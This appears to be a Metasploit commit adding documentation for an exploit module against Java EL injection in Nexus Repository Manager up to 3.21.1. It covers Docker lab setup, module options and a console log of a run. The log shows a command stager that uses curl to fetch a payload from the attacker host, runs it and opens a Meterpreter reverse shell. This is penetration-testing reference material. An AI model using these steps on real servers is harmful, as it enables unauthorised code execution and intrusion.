Add module doc

rapid7 · Apr 15, 2020 · 17affae · 17affae
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diff --git a/documentation/modules/exploit/linux/http/nexus_repo_manager_el_injection.md b/documentation/modules/exploit/linux/http/nexus_repo_manager_el_injection.md
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+## Vulnerable Application
+
+### Description
+
+This module exploits a Java Expression Language (EL) injection in Nexus
+Repository Manager versions up to and including 3.21.1 to execute code
+as the Nexus user. Tested against 3.21.1-01.
+
+### Setup
+
+Install Docker using the [official instructions](https://docs.docker.com/get-docker/).
+Follow the instructions for your platform and distribution (if using
+Linux). If you're using OS X, you may prefer to `brew cask install docker`
+after installing [Homebrew](https://brew.sh/).
+
+Run `docker run -d -p 8081:8081 --name nexus sonatype/nexus3:3.21.1`
+(note the added `3.21.1` tag) as per Sonatype's [Docker Hub instructions](https://hub.docker.com/r/sonatype/nexus3/#running).
+
+### Targets
+
+```
+Id  Name
+--  ----
+0   Nexus Repository Manager <= 3.21.1
+```
+
+## Verification Steps
+
+Follow [Setup](#setup) and [Scenarios](#scenarios).
+
+## Options
+
+### USERNAME
+
+Set this to a valid Nexus username.
+
+### PASSWORD
+
+Set this to a valid Nexus password.
+
+## Scenarios
+
+### Nexus Repository Manager 3.21.1-01 from [Docker Hub](https://hub.docker.com/r/sonatype/nexus3)
+
+```
+msf5 > use exploit/linux/http/nexus_repo_manager_el_injection
+msf5 exploit(linux/http/nexus_repo_manager_el_injection) > options
+
+Module options (exploit/linux/http/nexus_repo_manager_el_injection):
+
+   Name       Current Setting  Required  Description
+   ----       ---------------  --------  -----------
+   PASSWORD   admin            yes       Nexus password
+   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
+   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
+   RPORT      8081             yes       The target port (TCP)
+   SRVHOST    0.0.0.0          yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
+   SRVPORT    8080             yes       The local port to listen on.
+   SSL        false            no        Negotiate SSL/TLS for outgoing connections
+   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
+   TARGETURI  /                yes       Base path
+   URIPATH                     no        The URI to use for this exploit (default is random)
+   USERNAME   admin            yes       Nexus username
+   VHOST                       no        HTTP server virtual host
+
+
+Payload options (linux/x64/meterpreter_reverse_tcp):
+
+   Name   Current Setting  Required  Description
+   ----   ---------------  --------  -----------
+   LHOST                   yes       The listen address (an interface may be specified)
+   LPORT  4444             yes       The listen port
+
+
+Exploit target:
+
+   Id  Name
+   --  ----
+   0   Nexus Repository Manager <= 3.21.1
+
+
+msf5 exploit(linux/http/nexus_repo_manager_el_injection) > set rhosts 127.0.0.1
+rhosts => 127.0.0.1
+msf5 exploit(linux/http/nexus_repo_manager_el_injection) > set lhost 192.168.1.3
+lhost => 192.168.1.3
+msf5 exploit(linux/http/nexus_repo_manager_el_injection) > run
+
+[*] Started reverse TCP handler on 192.168.1.3:4444
+[*] Executing automatic check (disable AutoCheck to override)
+[+] The target appears to be vulnerable. Nexus 3.21.1-01 is a vulnerable version.
+[*] Logging in with admin:admin
+[+] Logged in with NXSESSIONID=8b6fd077-1830-4e2b-90e8-2997d260b5c0;
+[*] Using URL: http://0.0.0.0:8080/t6NXrxF
+[*] Local IP: http://192.168.1.3:8080/t6NXrxF
+[*] Generated command stager: ["curl -so /tmp/hgzeytII http://192.168.1.3:8080/t6NXrxF", "chmod +x /tmp/hgzeytII", "/tmp/hgzeytII", "rm -f /tmp/hgzeytII"]
+[*] Executing command: curl -so /tmp/hgzeytII http://192.168.1.3:8080/t6NXrxF
+[+] Successfully executed command: curl -so /tmp/hgzeytII http://192.168.1.3:8080/t6NXrxF
+[*] Client 192.168.1.3 (curl/7.61.1) requested /t6NXrxF
+[*] Sending payload to 192.168.1.3 (curl/7.61.1)
+[*] Command Stager progress -  50.00% done (54/108 bytes)
+[*] Executing command: chmod +x /tmp/hgzeytII
+[+] Successfully executed command: chmod +x /tmp/hgzeytII
+[*] Command Stager progress -  70.37% done (76/108 bytes)
+[*] Executing command: /tmp/hgzeytII
+[+] Successfully executed command: /tmp/hgzeytII
+[*] Command Stager progress -  82.41% done (89/108 bytes)
+[*] Executing command: rm -f /tmp/hgzeytII
+[+] Successfully executed command: rm -f /tmp/hgzeytII
+[*] Command Stager progress - 100.00% done (108/108 bytes)
+[*] Meterpreter session 1 opened (192.168.1.3:4444 -> 192.168.1.3:53094) at 2020-04-07 19:25:38 -0500
+[*] Server stopped.
+
+meterpreter > getuid
+Server username: no-user @ 282665c16215 (uid=200, gid=200, euid=200, egid=200)
+meterpreter > sysinfo
+Computer     : 172.17.0.2
+OS           : Red Hat Enterprise Linux 8 (Linux 4.19.76-linuxkit)
+Architecture : x64
+BuildTuple   : x86_64-linux-musl
+Meterpreter  : x64/linux
+meterpreter >
+```